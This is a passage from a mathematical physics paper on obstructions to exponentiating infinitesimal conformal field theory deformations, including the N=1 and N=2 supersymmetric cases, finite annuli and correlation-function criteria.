\sum\\
{\scriptstyle i\geq 1}\end{array}}L_{0}^{i}u^{m-i}.
\end{array}$$]{} (Analogously for the $\tilde{}$’s. In the following, we will work on the obstruction for the chiral part, the antichiral part is analogous.) At first, these equations seem very overdetermined. Similarly as in the case of Gerstenhaber’s obstruction theory, however, of course the obstructions are of cohomological nature. If we denote by $\mathcal{A}$ the Lie algebra $\langle L_0-1,L_1,L_2,...\rangle$, then the system [$$\label{eexp5}\begin{array}{l}
L_n(m)u(m-1)\\
(L_0(m)-1)u(m-1)
\end{array}$$]{} is divisible by $\epsilon^m$ in $V[\epsilon]/\epsilon^{m+1}$, and is obviously a coboundary, hence a cocycle with respect to $\langle L_0(m)-1,L_1(m),...\rangle$. Hence, dividing by $\epsilon^m$, we get a $1$-cocycle of $\mathcal{A}$. Solving [(\[eexp4\])]{} means expressing this $\mathcal{A}$-cocycle as a coboundary.
In the absence of ghosts (=elements of negative weights), there is another simplification we may take advantage of. Suppose we have a $1$-cocycle $c=( x_0,x_1,...)$ of $\mathcal{A}$. (In our applications, we will be interested in the case when the $x_{i}$’s are given by [(\[eexp4\])]{}.) Then we have the equations $$L^{\prime}_{k}x_j-L^{\prime}_{j}x_k=(k-j)x_{j+k},$$ where $L^{\prime}_{k}=L_k$ for $k>0$, $L^{\prime}_{0}=L_0-1$. In particular, $$L^{\prime}_{k}x_0-L^{\prime}_{0}x_k=kx_k,$$ or [$$\label{eexp6}L_kx_0=(L_0+k-1)x_k\;\text{for $k>0$}.$$]{} In the absence of ghosts, [(\[eexp6\])]{} means that for $k\geq 1$, $x_k$ is determined by $x_0$ with the exception of the weight $0$ summand $(x_1)_0$ of $x_1$. Additionally, if we denote the weight $k$ summand of $y$ in general by $y_k$, then [$$\label{eexp6a}c=dy$$]{} means [$$\label{eexp7}(x_0)_k=(k-1)y,$$]{} [$$\label{eexp8}(x_0)_1=0.$$]{} The rest of the equation [(\[eexp6a\])]{} then follows from [(\[eexp6\])]{}, with the exception of the weight $0$ summand of $x_1$. We must, then, have [$$\label{eexp9}(x_1)_0\in Im L_1.$$]{} Conditions [(\[eexp8\])]{}, [(\[eexp9\])]{}, for $$x_k=-{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i\geq 1}\end{array}}L_{k}^{i}u^{m-i},$$ are the conditions for solving [(\[eexp4\])]{}, i.e. the actual obstruction.
For $m=1$, we get what we call the primary obstruction. We have $$L_{k}^{1}=\tilde{L}_{-k}^{1}={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m,i}\end{array}} u_{i,m+k}\tilde{u}_{i,m},$$ so [(\[eexp8\])]{} becomes [$$\label{eexp10}{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}u_{i,0}\tilde{u}_{i,0}u=0.$$]{} The condition [(\[eexp9\])]{} becomes [$$\label{eexp11}{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}u_{i,1}\tilde{u}_{i,0}u\in Im L_1,
\;{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i}\end{array}}u_{i,0}\tilde{u}_{i,1}u\in Im \tilde{L}_1.$$]{}
This investigation is also interesting in the supersymmetric context. In the case of $N=1$ worldsheet supersymmetry, we have additional operators $G^{i}_{r}$, and in the $N=2$ SUSY case, we have operators $G^{+i}_{r}$, $G^{-i}_{r}$, $J^{i}_{n}$ (cf. [@greene; @Nconf]), defined as the $\epsilon^i$-coefficient of the deformation of $G_r$, resp. $G^{+}_{r}$, $G^{-}_{r}$, $J_{n}$ analogously to equation [(\[eexp1\])]{}.
In the $N=1$-supersymmetric case, the critical deforming fields have weight $(1/2,1/2)$ (as do $a$- and $c$-fields in the $N=2$ case), so in both cases the first equation [(\[eexp1\])]{} remains the same as in the $N=0$ case, the second becomes [$$\label{ecor39a}(L_0-1/2)u^m=-{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i\geq 1}\end{array}}L_{0}^{i}u^{m-i}.$$]{} Additionally, for $N=1$, we get [$$\label{ecor39b}G_r u^m=-{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i\geq 1}\end{array}}G^{i}_{r}u^{m-i},\; r\geq 1/2$$]{} (similarly when $\tilde{\;}$’s are present).
In the $N=1$-supersymmetric case, we therefore deal with the Lie algebra $\mathcal{A}$, which is the free $\C$-vector space on $L_n$, $G_r$, $n\geq 0$, $r\geq 1/2$. For a cocycle which has value $x_k$ on $L_k$ and $z_r$ on $G_r$, the equation [(\[eexp6\])]{} becomes [$$\label{ecor41a}L_k x_0=(L_0+k-1/2)x_k\;\text{for $k>0$},$$]{} so in the absence of ghosts, $x_k$ is always determined by $x_0$. If [$$\label{ecor42a}
\text{the $1$-cocycle $(x_k,z_r)$ is the coboundary of $y$}$$]{} we additionally get $$(x_0)_k=(k-1/2)y,$$ so $$(x_0)_{1/2}=0.$$ On the other hand, on the $z$’s, we get [$$\label{ecorA1}G_r x_0=(L_0+r-1/2)z_r,\; r\geq 1/2,$$]{} so we see that in the absence of ghosts, all $z_r$’s are determined, with the exception of $$(z_{1/2})_0.$$ Therefore our obstruction is [$$\label{ecorA2}(z_0)_{1/2}=0,\;(z_{1/2})_0\in Im(G_{1/2}).$$]{} For the primary obstruction, we have [$$\label{ecorA3}L^{1}_{k}=\tilde{L}^{1}_{-k}=
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}(G_{-1/2}\tilde{G}_{-1/2}u)_{m+k,m}),$$]{} [$$\label{ecorA4}
\begin{array}{l}G^{1}_{r}=2{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}(\tilde{G}_{-1/2}u)_{m+r,m},\\
\tilde{G}^{1}_{r}=2{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}(G_{-1/2}u)_{m,m+r},
\end{array}$$]{} so the obstruction becomes [$$\label{ecorA5}\begin{array}{l}
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}(G_{-1/2}\tilde{G}_{-1/2}u)_{m,m}=0,\\
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}(\tilde{G}_{-1/2}u)_{m+1/2,m}\in Im(G_{1/2}),\\
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}(G_{-1/2}u)_{m,m+1/2}\in Im(\tilde{G}_{1/2}).
\end{array}$$]{} In the case of $N=2$ supersymmetry, there is an additional complication, namely chirality. This means that in addition to the conditions [$$\label{ecorB1}\begin{array}{l}
(L_0-1/2)u=0,\\
L_n G^{\pm}_{r}u=J_{n-1}=0 \;\text{for}\; n\geq 1, r\geq 1/2,
\end{array}$$]{} we require that $u$ be chiral primary, which means [$$\label{ecorB2}G^{+}_{-1/2}u=0.$$]{} (There is also the possibility of antichiral primary, which has [$$\label{ecorB2'}G^{-}_{-1/2}u=0$$]{} instead, and similarly at the $\tilde{\;}$’s.) Let us now write down the obstruction equations for the chiral primary case. We get the first equation [(\[eexp4\])]{}, [(\[ecor39a\])]{}, and an analogue of [(\[ecor39b\])]{} with $G^{i}_{r}$ replaced by $G^{+i}_{r}$ and $G^{-i}_{r}$. Additionally, we have the equation $$G^{+}_{-1/2}u^m=-{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle i\geq 1}\end{array}}G^{i}_{-1/2}u^{m-i}$$ and analogously for the $\tilde{\;}$’s.
In this situation, we consider the super-Lie algebra $\mathcal{A}_2$ which is the free $\C$-vector space on $L_n$, $J_n$, $n\geq 0$, $G^{-}_{r}$, $r\geq 1/2$ and $G^{+}_{s}$, $s\geq -1/2$. One easily verifies that this is a super-Lie algebra on which the central extension vanishes canonically ([@greene], Section 3.1). Looking at a $1$-cocycle whose value is $x_k$,$z^{\pm}_{r}$, $t_k$ on $L_k$, $G^{\pm}_{r}$, $J_k$ respectively, we get the equation [(\[ecor41a\])]{}, and additionally [$$\label{ecorB3}G^{\pm}_{r}x_0=(L_0+r-1/2)z^{\pm}_{r},
\;\text{$r\geq 1/2$ for $-$, $r\geq -1/2$ for $+$}$$]{} and [$$\label{ecorB4}J_n x_0=(n-1/2)t_n,\; n\geq 0.$$]{} We see that the cocycle is determined by $x_0$, with the exception of $(z_{1/2}^{\pm})_0$, $(z_{-1/2}^{+})_1$. Therefore, we get the condition [$$\label{ecorB5}
\begin{array}{l}
(x_0)_{1/2}=0\\
(z^{\pm}_{1/2})_0\in Im(G^{\pm}_{1/2})\\
(z^{+}_{-1/2})_1=G^{+}_{-1/2}u\;\text{where $G^{+}_{1/2}u=0$}
\end{array}$$]{} and similarly for the $\tilde{\;}$’s.
In the case of deformation along a $cc$ field $u$, we have [$$\label{ecorB6}
L^{1}_{k}=\tilde{L}^{1}_{-k}=
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}} (G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)_{m+k,m},$$]{} [$$\label{ecorB7}\begin{array}{l}
G^{+,1}_{r}={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}2(\tilde{G}^{-}_{-1/2}u)_{m+r+1/2,m}\\
\tilde{G}^{+,1}_{r}={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m}\end{array}}2(G^{-}_{-1/2}u)_{m,m+r+1/2}\\
G^{-,1}_{r}=\tilde{G}^{-,1}_{r}=0\\
J^{1}_{n}=0=\tilde{J}^{1}_{n},
\end{array}$$]{} so the obstructions are, in a sense, analogous to [(\[ecorA5\])]{} with $G_r$ replaced by $G^{-}_{r}$.
[**Remark:**]{} The relevant computation in verifying that [(\[ecorB6\])]{}, [(\[ecorB7\])]{} (and the analogous cases before) form a cocycle uses formulas of the following type ([@zhu]): [$$\label{ecorC1}Res_{z}(a(z)v(w)z^n)-Res_{z}(v(w)a(z)z^n)=
Res_{z-w}((a(z-w)v)(w)z^n).$$]{} For example, when $v$ is primary of weight $1$, $a=L_{-2}$, the right hand side of [(\[ecorC1\])]{} is $$\begin{array}{l}
Res_{z-w}(L_0v(z-w)^{-2}n(z-w)w^{n-1}+L_{-1}v(z-w)^{-1}w^n)\\
=nv(w)w^{n-1}+L_{-1}v(w)w^n\\
=\sum nv_k w^{n-k-2}+\sum (-k-1)v_k w^{n-k-2}\\
=\sum (n-k)v_n w^{n-k-2}.
\end{array}$$ The left hand side is $\sum [L_{n-1},v_{k-n+1}]w^{n-k-2}$, so we get $$[L_{n-1}, v_{k-n+1}]=(n-k-1)v_k,$$ as needed.
Other required identities follow in a similar way. Let us verify one interesting case when $a=G^{-1}_{-3/2}$, $u$ chiral primary. Then the right hand side of [(\[ecorC1\])]{} is $$Res_{z-w}(G^{-}_{-1/2}v(w)(z-w)^{-1}w^n)=(G^{-}_{-1/2}v)(w)=
\sum (G^{-}_{-1/2}v)w^{-n-1}.$$ This implies [$$\label{ek3q*}[G^{-}_{r},u_s]=(G^{-}_{-1/2}u)_{r+s},$$]{} as needed.
We have now analyzed the primary obstructions for exponentiation of infinitesimal CFT deformations. However, in order for a perturbative exponentiation to exist, there are also higher obstructions which must vanish. The basic principle for obtaining these obstructions was formulated above. However, in pratice, it may often happen that those obstructions will not converge. This may happen for two different basic reasons. One possibility is that the deformation of the deforming field itself does not converge. This is essentially a violation of perturbativity, but may in some cases be resolved by regularizing the CFT anomaly along the deformation parameter. We will discuss this at the end of this section, and will give an example in Section \[sfree\] below.
Even if all goes well with the parameter, however, there may be another problem, namely the expressions for $L^{i}_{n}$ etc. may not converge due to the fact that our deformation formulas concern vacua of actual worldsheets, while $L^{i}_{n}$ etc. correspond to degenerate worldsheets. Similarly, vertex operators may not converge in the deformed theories. We will show here how to deal with this problem.
The main strategy is to rephrase the conditions from the above part of this section in terms of “finite annuli”. We start with the $N=0$ (non-supersymmetric) case. Similarly as in [(\[eexp1\])]{}, we can expand [$$\label{ecorf1}U_{A_r}(m)={\begin{array}{c}
{\scriptstyle m}\\
\sum\\
{\scriptstyle h=0}\end{array}}U_{A_{r}}^{h}\epsilon^h.$$]{} In the non-supersymmetric case, the basic fact we have is the following:
\[t1\] Assuming $u^k$ (considered as fields in the original undeformed CFT) have weight $>(1,1)$ for $k<h$, $r\in (0,1)$ we have [$$\label{ecorft1}\begin{array}{l}
U^{h}_{A_r}=\\
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m_k}\end{array}}{\begin{array}{c}
{\scriptstyle 1}\\
\int\\
{\scriptstyle s_h=r}\end{array}}s_{h}^{2m_h-1}{\begin{array}{c}
{\scriptstyle s_h}\\
\int\\
{\scriptstyle s_{h-1}=r}\end{array}}
s_{h-1}^{2m_{h-1}-1}...\\
{\begin{array}{c}
{\scriptstyle s_2}\\
\int\\
{\scriptstyle s_{1}=r}\end{array}}
s_{1}^{2m_{1}-1}u_{m_h,m_h}....u_{m_1,m_1}ds_1...ds_h U_{A_r}.
\end{array}$$]{} [$$\label{ecorft2}u^h={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m_k}\end{array}}
\frac{1}{2^h(m_h+...+m_1)(m_{h-1}+...+m_1)...m_1}u_{m_h,m_h}...u_{m_1,m_1}u.$$]{} In particular, the obstruction is the vanishing of the sum (with the term $m_h+...m_1$ omitted from the denominator) of the terms in [(\[ecorft2\])]{} with $m_h+...m_1=0$.
The identity [(\[ecorft1\])]{} is essentially by definition. The key point is that in the higher deformed vacua, there are terms in the integrand obtained by inserting $u_k$, $k>1$ to boundaries of disjoint disks $D_i$ cut out of $A_r$. Then there are corrective terms to be integrated on the worldsheets obtained by cutting out those disks. But the point is that under our weight assumption, all the disks $D_i$ can be shrunk to a single point, at which point the term disappears, and we are left with integrals of several copies of $u$ inserted at different points. If we are using vertex operators to express the integral, the operators must additionally be applied in time order (i.e. fields at points of lower modulus are inserted first). There is an $h!$ permutation factor which cancels with the Taylor denominator. This gives [(\[ecorft1\])]{}.
Now [(\[ecorft2\])]{} is proved by induction. For $h=1$, the calculation is done above. Assuming the induction hypothesis, the term of the integral where the $k-1$ innermost integrals have the upper bound and the $k$’th innermost integral has the lower bound is equal to $$U^{h-k}_{A_r}u^k,\; h>k\geq 1.$$ The summand which has all upper bounds except in the last integral is equal to [$$\label{enpert+}\frac{1-r^{2(m_1+...+m_h)}}{2^h
(m_h+...+m_1)(m_{h-1}+...+m_1)...m_1}u_{m_h,m_h}...u_{m_1,m_1}ur^2,$$]{} which is supposed to be equal to $$-U_{A_r}u^h +r^2u^h.$$ This gives the desired solution.
[**Remark:**]{} The formula [(\[enpert+\])]{} of course does not apply to the case $m_1+...+m_h=0$. In that case, the correct formula is [$$\label{enpert++}\frac{-\ln(r)}{
(m_{h-1}+...+m_1)...m_1}u_{m_h,m_h}...u_{m_1,m_1}ur^2.$$]{} So the question becomes whether there could exist a field $u^h$ such that $U_{A_r}u^h-r^2 u^h$ is equal to the quantity [(\[enpert++\])]{}. One sees immediately that such field does not exist in the product-completed space of the original theory. What this approach does not settle however is whether it may be possible to add such non-perturbative fields to the theory and preserve CFT axioms, which could facilitate existence of deformations in some generalized sense, despite the algebraic obstruction. It would have to be, however, a field of generalized weight in the sense of [@zhang; @zhang1; @huang; @huang1].
In effect, written in infinitesimal terms, the relation [(\[enpert++\])]{} becomes $$L_0u^h-u^h=-\frac{1}{(m_{h-1}+...+m_1)...m_1u}_{m_h,m_h}...u_{m_1,m_1}u.$$ The right hand side $w$ is a field of holomorphic weight $1$, so we see that we have a matrix relation $$L_0\left(\begin{array}{l}u^h\\u\end{array}
\right)=\left(\begin{array}{rr}1 &w\\0&1\end{array}
\right)\left(\begin{array}{l}u^h\\u\end{array}
\right)$$ This is an example of what one means by a field of generalized weight. One should note, however, that fields of generalized weight are excluded in unitary conformal field theories. By Wick rotation, the unitary axiom of a conformal field theory becomes the axiom of reflection positivity [@scft]: the operator $U_\Sigma$ associated with a worldsheet $\Sigma$ is defined up to a $1$-dimensional complex line $L_\Sigma$ (which is often more strongly assumed to have a positive real structure). If we denote by $\overline{\Sigma}$ the complex-conjugate worldsheet (note that this reverses orientation of boundary components), then reflection positivity requires that we have an isomorphism $L_{\overline{Sigma}}\cong L_{\Sigma}^{*}
$ (the dual line), and using this isomorphism, an identification $U_{\overline{\Sigma}}=
U_{\Sigma}^{*}$ (here the asterisk denotes the adjoint operator). Specializing to annuli $A_r$, $||r||\leq 1$, we see that the annulus for $r$ real is self-conjugate, so the corresponding operators are self-adjoint, and hence diagonalizable. On the other hand, for $||r||=1$, we obtain unitary operators, and unitary representations of $S^1$ on Hilbert space split into eigenspaces of integral weights. The central extension given by $L$ is then trivial and hence the operators corresponding to all $A_r$ commute, and hence are simultaneously diagonalizable, thus excluding the possibility of generalized weight.
The possibility, of course, remains that the correlation function of the deformed theory can be modified by a non-perturbative correction. Let us note that if left uncorrected, the term [(\[enpert++\])]{} can be interpreted infinitesimally as [$$\label{eiint1}L_0u(\epsilon)-u(\epsilon)= C\epsilon^m v\mod
\epsilon^{m+1},$$]{} where $v$ is another field of weight $1$. Note that in case that $u=v$, [(\[eiint1\])]{} can be interpreted as saying that $u$ changes weight at order $m$ of the perturbation parameter. In the general case, we obtain a matrix involving all the (holomorphic) weight $1$ fields in the unperturbed theory. Excluding fields of generalized weight in the unperturbed theory (which would translate to fields of generalized weight in the perturbed theory), the matrix must have other eigenvalues than $1$, thus showing that some critical fields will change weight.
In the $N=1$-supersymmetric case, an analogous statement holds, except the assumption is that the weight of $u^k$ is greater than $(1/2,1/2)$ for $k<h$, and the integral [(\[ecorft1\])]{} must be replaced by [$$\label{ecorft1a}\begin{array}{l}
U^{h}_{A_r}=\\
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m_k}\end{array}}{\begin{array}{c}
{\scriptstyle 1}\\
\int\\
{\scriptstyle s_h=r}\end{array}}s_{h}^{m_h-1}{\begin{array}{c}
{\scriptstyle s_h}\\
\int\\
{\scriptstyle s_{h-1}=r}\end{array}}
s_{h-1}^{m_{h-1}-1}...\\
{\begin{array}{c}
{\scriptstyle s_2}\\
\int\\
{\scriptstyle s_{1}=r}\end{array}}
s_{1}^{m_{1}-1}(G_{-1/2}\tilde{G}_{-1/2}u)_{m_h,m_h}...
(G_{-1/2}\tilde{G}_{-1/2}u)_{m_1,m_1}
ds_1...ds_h U_{A_r},
\end{array}$$]{} and accordingly [$$\label{ecorft2a}
\begin{array}{l}
u^h={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m_k}\end{array}}
\frac{1}{2^h(m_h+...+m_1)(m_{h-1}+...+m_1)...m_1}
\\(G_{-1/2}\tilde{G}_{-1/2}u)_{m_h,m_h}
...(G_{-1/2}\tilde{G}_{-1/2}u)_{m_1,m_1}u,
\end{array}$$]{} so the obstruction again states that the term with $m_h+...+m_1=0$ must vanish. In the $N=2$ case, when $u$ is a $cc$ field, we simply replace $G$ by $G^-$ in [(\[ecorft1a\])]{}, [(\[ecorft2a\])]{}.
But in the supersymmetric case, to preserve supersymmetry along the deformation, we must also investigate the “finite" analogs of the obstructions associated with $G_{1/2}$ in the $N=1$ case, and $G^{\pm}_{1/2}$, $G^{+}_{-1/2}$ in the $N=2$ $c$ case (and similarly for the $a$ case, and the $\tilde{\;}$’s). In fact, to tell the whole story, we should seriously investigate integration of the deforming fields over super-Riemann surfaces (=super-worldsheets). This can be done; one approach is to treat the case of the superdisk first, using Stokes theorem twice with the differentials $\partial$, $\overline{\partial}$ replaced by $D$, $\overline{D}$ respectively in the $N=1$ case (and the same at one chirality for the $N=2$ case). A general super-Riemann surface is then partitioned into superdisks.
For the purpose of obstruction theory, the following special case is sufficient. We treat the $N=2$ case, since it is of main interest for us. Let us consider the case of $cc$ fields (the other cases are analogous). First we note (see [(\[ecorB7\])]{}) that $G^-$ is unaffected by deformation via a $cc$ field, so the obstructions derived from $G^{-}_{-1/2}$ and $G^{-}_{1/2}$ are trivial (and similarly at the $\tilde{\;}$’s).
To understand the obstruction associated with $G^{+}_{1/2}$, we will study “finite" (as opposed to infinitesimal) annuli obtained by exponentiating $G^{+}_{1/2}$. Now the element $G^{+}_{1/2}$ is odd. Thinking of the super-semigroup of superannuli as a supermanifold, then it makes no sense to speak of “odd points" of the supermanifold. It makes sense, however, to speak of a family of edd elements parametrized by an odd parameter $s$: this is simply the same thing as a map from the $(0|1)$-dimensional superaffine line into the supermanifold. In this sense, we can speak of the “finite" odd annulus [$$\label{eodd1}\exp(s G^{+}_{1/2}).$$]{} Now we wish to study the deformations of teh operator associated with [(\[eodd1\])]{} along a $cc$ field $u$ as a perturbative expansion in $\epsilon$.
Thinking of $G^{+}_{1/2}$ as an $N=2$-supervector field, we have [$$\label{eodd2}G^{+}_{1/2}=(z+\theta^+\theta^-)\frac{\partial}{\partial\theta^+}-
z\theta^{-}\frac{\partial}{\partial z}.$$]{} We see that [(\[eodd2\])]{} deforms infinitesimally only the variables $\theta^+$ and $z$, not $\theta^-$. Thus, more specifically, [(\[eodd1\])]{} results in the transformation [$$\label{eodd3}
\begin{array}{l}
z\mapsto \exp(s\theta^-)z\\
\theta^-\mapsto\theta^-.
\end{array}$$]{} This gives rise to the formula, valid when $u^k$ have weight $>(1/2,1/2)$ for $1\leq k<h$, [$$\label{eodd4}
\begin{array}{l}
U^{h}_{\exp(sG^{+}_{1/2})}=\\
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m_k}\end{array}}{\begin{array}{c}
{\scriptstyle 1}\\
\int\\
{\scriptstyle t_h=\exp(s\theta^-)}\end{array}}t_{h}^{m_h-1}
{\begin{array}{c}
{\scriptstyle t_h}\\
\int\\
{\scriptstyle t_{h-1}=\exp(s\theta^-)}\end{array}}
t_{h-1}^{m_{h-1}-1}...\\
{\begin{array}{c}
{\scriptstyle t_2}\\
\int\\
{\scriptstyle t_{1}=\exp(s\theta^-)}\end{array}}
s_{1}^{m_{1}-1}v_{m_h,m_h}....v_{m_1,m_1}dt_1...dt_h U_{\exp(s G^{+}_{1/2})},
\end{array}$$]{} where $v_{m_k,m_k}$ is equal to [$$\label{eoddD1}(\tilde{G}^{-}_{-1/2}u)_{m_{k+1/2},m_k}$$]{} in summands of [(\[eodd4\])]{} where the factor resulting from integrating the $t_k$ variable has a $\theta^-$ factor, and [$$\label{eoddD2}(G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)_{m_k,m_k}$$]{} in other summands. (We see that each summand can be considered as a product of factors resulting from integrating the individual variables $t_k$; in at most one factor, [(\[eoddD1\])]{} can occur, otherwise the product vanishes.)
Realizing that $exp(ms\theta^-)=1+ms\theta^-$, this gives that the obstruction (under the weight assumption for $u^k$) is that the summand for $m_1+...+m_h=0$ (with the denominator $m_1+...+m_h$ omitted) in the following expression vanish: [$$\label{eodd*}
\begin{array}{l}
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle m_k}\end{array}}{\begin{array}{c}
{\scriptstyle h}\\
\sum\\
{\scriptstyle k=1}\end{array}}\frac{1}{m_1+...+m_h}...
\frac{1}{m_1}\\
(G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)_{m_h,m_h}...
m_k
(\tilde{G}^{-}_{-1/2}u)_{m_{k+1/2},m_k}...
(G^{-}_{-1/2}\tilde{G}^{-}_{-1/2}u)_{m_1,m_1}u.
\end{array}$$]{}
To investigate the higher obstructions further, we need the language of correlation functions. Specifically, the CFT’s whose deformations we will consider are “RCFT’s". The simplest way of building an RCFT is from “chiral sectors" $\mathcal{H}_{\lambda}$ where $\lambda$ runs through a set of labels, by the recipe $$\mathcal{H}={\begin{array}{c}
{\scriptstyle }\\
\bigoplus\\
{\scriptstyle \lambda}\end{array}}\mh_{\lambda}\otimes\mh_{\lambda^*}$$ where $\lambda^*$ denotes the contragredient label (cf. [@kondo]). (In the case of the Gepner model, we will need a slightly more general scenario, but our methods still apply to that case analogously.) Further, we will have a symmetric bilinear form $$B:\mh_{\lambda}\otimes \mh_{\lambda^*}\r \C$$ with respect to which the adjoint to $Y(v,z)$ is $$(-z^{-2})^n Y(e^{zL_1}v,1/z)$$ where $v$ is of weight $n$. There is also a real structure $$\mh_{\lambda}\cong\overline{\mh}_{\lambda^*},$$ thus specifying a real structure on $\mh$, $\overline{u\otimes v}=\overline{u}
\otimes \overline{v}$, and inner product $$\langle u_1\otimes v_1,u_2\otimes v_2\rangle=B(u_1,\overline{u_2})B(v_1,
\overline{v_2}).$$ We also have an inner product $$\mh_{\lambda}\otimes_{\R} \mh_{\lambda^*}\r \C$$ given by $$\langle u,v\rangle=B(u,\overline{v}).$$ Then we have the $\P^1$-chiral correlation function [$$\label{ecorel1}\langle u(z_{\infty})^*|v_m(z_m)v_{m-1}(z_{m-1})...v_1(z_1)v_0(z_0)
\rangle$$]{} which can be defined by taking the vacuum operator associated with the degenerate worldsheet $\Sigma$ obtained by “cutting out” unit disks with centers $z_0,...,z_m$ from the unit disk with center $z_\infty$, applying this operator to $v_0\otimes...\otimes v_m$, and taking inner product with $u$. Thus, the correlation function [(\[ecorel1\])]{} is in fact the same thing as applying the field on either side of [(\[ecorel1\])]{} to the identity, and taking the inner product.
This object [(\[ecorel1\])]{} is however not simply a function of $z_0,..., z_\infty$. Instead, there is a finite-dimensional vector space $M_\Sigma$ depending holomorphically on $\Sigma$ (called the modular functor) such that [(\[ecorel1\])]{} is a linear function $$M_{\Sigma}\r \C.$$ However, now one assumes that $M$ is a “unitary modular functor" in the sense of Segal [@scft]. This means that $M_\Sigma$ has the structure of a positive-definite inner product space for not just the $\Sigma$ as above, but an arbitrary worldsheet. The inner product is not valued in $\C$, but in $$||det(\Sigma)||^{2c}$$ where $c$ is the central charge. Since the determinant of $\Sigma$ as above is the same as $det(\P^1)$ (hence in particular constant), we can make the inner product $\C$-valued in our case.
If the deforming field is of the form [$$\label{euotimes}u\otimes\tilde{u},$$]{} the “higher $L_0$ obstruction" (under the weight assumptions given above) can be further written as [$$\label{ecorel+}\begin{array}{l}
{\begin{array}{c}
{\scriptstyle }\\
\int\\
{\scriptstyle 0\leq ||z_1||\leq||z_m||\leq 1}\end{array}}
\langle v(0)^*|u(z_m)...u(z_1)u(0)\rangle\\
\langle \tilde{v}^*|\tilde{u}(\overline{z_m})..\tilde{u}(\overline{z_1})\tilde{u}(0)\rangle
dz_1 d\overline{z}_1....dz_md\overline{z}_m\\
\text{for $w(v)\leq 1$}
\end{array}$$]{} ($w$ is weight) in the $N=0$ case and [$$\label{ecorel++}\begin{array}{l}
{\begin{array}{c}
{\scriptstyle }\\
\int\\
{\scriptstyle 0\leq ||z_1||\leq||z_m||\leq 1}\end{array}}
\langle v(0)^*|(G^{-}_{-1/2}u)(z_m)...(G^{-}_{-1/2}u)(z_1)u(0)\rangle\\
\langle \tilde{v}^*|(\tilde{G}^{-}_{-1/2}\tilde{u})(\overline{z_m})...
(\tilde{G}^{-}_{-1/2}\tilde{u})(\overline{z_1})\tilde{u}(0)\rangle
dz_1 d\overline{z}_1....dz_md\overline{z}_m\\
\text{for $w(v)\leq 1/2$}
\end{array}$$]{} in the $N=2$ $cc$ case. The $G^{+}_{1/2}$-obstruction in the $N=2$ case can be written as [$$\label{ecorel+++}\begin{array}{l}
{\begin{array}{c}
{\scriptstyle }\\
\int\\
{\scriptstyle 0\leq ||z_1||\leq||z_m||\leq 1}\end{array}}
{\begin{array}{c}
{\scriptstyle m}\\
\sum\\
{\scriptstyle k=1}\end{array}}
\langle v(0)^*|(G^{-}_{-1/2}u)(z_m)...u(z_k)...(G^{-}_{-1/2}u)(z_1)u(0)\rangle\\
\langle \tilde{v}^*|(\tilde{G}^{-}_{-1/2}\tilde{u})(\overline{z_m})...
(\tilde{G}^{-}_{-1/2}\tilde{u})(\overline{z_1})\tilde{u}(0)\rangle\\
dz_1 d\overline{z}_1....dz_md\overline{z}_m\;\text{for $w(v)\leq 0$,
$w(\tilde{v})\leq 1/2$}
\end{array}$$]{} and similarly for the $\tilde{\;}$. We see that these obstructions vanish when we have [$$\label{ecoreli}\langle v(z_\infty)^*|u(z_m)....u(z_0)\rangle=0,\;
\text{for $w(v)\leq 1$}$$]{} in the $N=0$ case (and similarly for the $\tilde{\;}$’s), and [$$\label{ecorelii}\langle v(z_\infty)^*|G^{-}_{-1/2}u(z_m)....G^{-}_{-1/2}u(z_1)
u(z_0)\rangle=0,\;
\text{for $w(v)\leq 1/2$,}$$]{} and similarly for the $\tilde{\:}$’s. Observe further that when $$\tilde{u}=\overline{u},$$ the condition for the $\tilde{\:}$’s is equivalent to the condition for $u$, and further [(\[ecoreli\])]{}, [(\[ecorelii\])]{} are also necessary in this case, as in [(\[ecorel+\])]{}, [(\[ecorel++\])]{} we may also choose $\tilde{v}=\overline{v}$, which makes the integrand non-negative (and only $0$ if it is $0$ at each chirality). In the $N=2$ case, it turns the condition [(\[ecorelii\])]{} simplifies further:
\[t2\] Let $u$ be a chiral primary field of weight $1/2$. Then the necessary and sufficient condition [(\[ecorelii\])]{} for existence of perturbative CFT deformations along the field $u\otimes \overline{u}$ is equivalent to the same vanishing condition applied to only chiral primary fields $v$ of weight $1/2$.
